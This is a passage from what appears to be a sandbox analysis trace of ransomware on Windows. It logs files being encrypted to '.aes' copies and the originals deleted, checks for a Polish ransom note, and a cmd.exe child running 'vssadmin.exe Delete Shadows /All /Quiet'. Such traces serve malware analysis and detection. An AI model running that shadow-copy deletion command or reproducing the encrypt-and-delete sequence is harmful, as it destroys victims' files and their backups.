nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png", lpFilePart=0x0) returned 0x36 [0099.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0099.023] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\8ir7b9do0uh.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43496c50, ftCreationTime.dwHighDateTime=0x1d2f669, ftLastAccessTime.dwLowDateTime=0x6a54dfe0, ftLastAccessTime.dwHighDateTime=0x1d301d7, ftLastWriteTime.dwLowDateTime=0x6a54dfe0, ftLastWriteTime.dwHighDateTime=0x1d301d7, nFileSizeHigh=0x0, nFileSizeLow=0x655b)) returned 1 [0099.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0099.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png", lpFilePart=0x0) returned 0x36 [0099.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0099.023] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\8ir7b9do0uh.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0099.024] GetFileType (hFile=0x540) returned 0x1 [0099.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0099.024] GetFileType (hFile=0x540) returned 0x1 [0099.024] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png.aes", lpFilePart=0x0) returned 0x3a [0099.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0099.024] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png.aes" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\8ir7b9do0uh.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0099.024] GetFileType (hFile=0x61c) returned 0x1 [0099.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0099.024] GetFileType (hFile=0x61c) returned 0x1 [0099.024] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0099.032] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0099.032] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0099.039] LocalFree (hMem=0x6ff3178) returned 0x0 [0099.039] GetAdaptersAddresses () returned 0x6f [0099.043] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0099.043] GetAdaptersAddresses () returned 0x0 [0099.048] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0099.054] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0099.054] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0099.072] LocalFree (hMem=0x1c8ab8) returned 0x0 [0099.072] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0099.078] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0099.078] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0099.084] LocalFree (hMem=0x1c8ab8) returned 0x0 [0099.084] LocalFree (hMem=0x7042020) returned 0x0 [0099.084] GetBestInterfaceEx (in: pDestAddr=0x2974818*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0099.148] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\8ir7b9do0uh.png")) returned 1 [0099.149] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x41 [0099.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0099.149] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5360e20, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf5360e20, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf5360e20, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0099.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0099.149] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0099.180] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png", lpFilePart=0x0) returned 0x37 [0099.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0099.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\sakdpf0xtjzy.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcdf02d0, ftCreationTime.dwHighDateTime=0x1d2fe2a, ftLastAccessTime.dwLowDateTime=0x5f0f6d40, ftLastAccessTime.dwHighDateTime=0x1d2f795, ftLastWriteTime.dwLowDateTime=0x5f0f6d40, ftLastWriteTime.dwHighDateTime=0x1d2f795, nFileSizeHigh=0x0, nFileSizeLow=0xecd5)) returned 1 [0099.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0099.180] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png", lpFilePart=0x0) returned 0x37 [0099.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0099.180] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\sakdpf0xtjzy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0099.180] GetFileType (hFile=0x540) returned 0x1 [0099.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0099.180] GetFileType (hFile=0x540) returned 0x1 [0099.180] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png.aes", lpFilePart=0x0) returned 0x3b [0099.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0099.180] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png.aes" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\sakdpf0xtjzy.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0099.180] GetFileType (hFile=0x61c) returned 0x1 [0099.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0099.180] GetFileType (hFile=0x61c) returned 0x1 [0099.181] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0099.188] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0099.188] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0099.195] LocalFree (hMem=0x6ff3178) returned 0x0 [0099.195] GetAdaptersAddresses () returned 0x6f [0099.200] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0099.200] GetAdaptersAddresses () returned 0x0 [0099.205] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0099.211] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0099.211] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0099.217] LocalFree (hMem=0x1c8ab8) returned 0x0 [0099.217] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0099.223] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0099.223] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0099.230] LocalFree (hMem=0x1c8ab8) returned 0x0 [0099.230] LocalFree (hMem=0x7042020) returned 0x0 [0099.230] GetBestInterfaceEx (in: pDestAddr=0x29322bc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0099.455] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\SakdPF0XTjzY.png" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\sakdpf0xtjzy.png")) returned 1 [0099.456] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x41 [0099.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0099.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5360e20, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf5360e20, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf5360e20, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0099.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0099.456] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0099.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf", lpFilePart=0x0) returned 0x30 [0099.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0099.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\y48xz.pdf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x749529f0, ftCreationTime.dwHighDateTime=0x1d2f9c2, ftLastAccessTime.dwLowDateTime=0xb6c93060, ftLastAccessTime.dwHighDateTime=0x1d30574, ftLastWriteTime.dwLowDateTime=0xb6c93060, ftLastWriteTime.dwHighDateTime=0x1d30574, nFileSizeHigh=0x0, nFileSizeLow=0x74ab)) returned 1 [0099.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0099.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf", lpFilePart=0x0) returned 0x30 [0099.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0099.476] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\y48xz.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0099.476] GetFileType (hFile=0x61c) returned 0x1 [0099.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0099.476] GetFileType (hFile=0x61c) returned 0x1 [0099.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf.aes", lpFilePart=0x0) returned 0x34 [0099.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0099.476] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\y48XZ.pdf.aes" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\y48xz.pdf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0099.476] GetFileType (hFile=0x468) returned 0x1 [0099.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0099.476] GetFileType (hFile=0x468) returned 0x1 [0099.477] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0099.484] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0099.484] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0099.492] LocalFree (hMem=0x6ff3178) returned 0x0 [0099.492] GetAdaptersAddresses () returned 0x6f [0099.496] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0099.496] GetAdaptersAddresses () returned 0x0 [0099.510] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0099.520] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2ac8 [0099.520] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2ac8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2ac8, pOutBufLen=0x77ce38c) returned 0x0 [0099.530] LocalFree (hMem=0x6ff2ac8) returned 0x0 [0099.530] GetPerAdapterInfo (IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) Thread: id = 122 os_tid = 0xb90 Thread: id = 123 os_tid = 0xb94 [0069.417] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0069.417] CoGetContextToken (in: pToken=0x763f434 | out: pToken=0x763f434) returned 0x0 [0069.418] IUnknown:QueryInterface (in: This=0x1ae958, riid=0x6ab25ee8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x763f458 | out: ppvObject=0x763f458*=0x1ae964) returned 0x0 [0069.418] IComThreadingInfo:GetCurrentThreadType (in: This=0x1ae964, pThreadType=0x763f484 | out: pThreadType=0x763f484*=0) returned 0x0 [0069.418] IUnknown:Release (This=0x1ae964) returned 0x0 [0069.418] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0069.418] CoUninitialize () [0069.418] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.860] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.982] CoUninitialize () Thread: id = 126 os_tid = 0xba4 Thread: id = 127 os_tid = 0xba8 Thread: id = 128 os_tid = 0xbac Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x705db000" os_pid = "0xad4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xa90" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1469 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1470 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1471 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1472 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1473 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1474 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1475 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1476 start_va = 0x4a0f0000 end_va = 0x4a13bfff entry_point = 0x4a0f829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1477 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1478 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1479 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1480 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 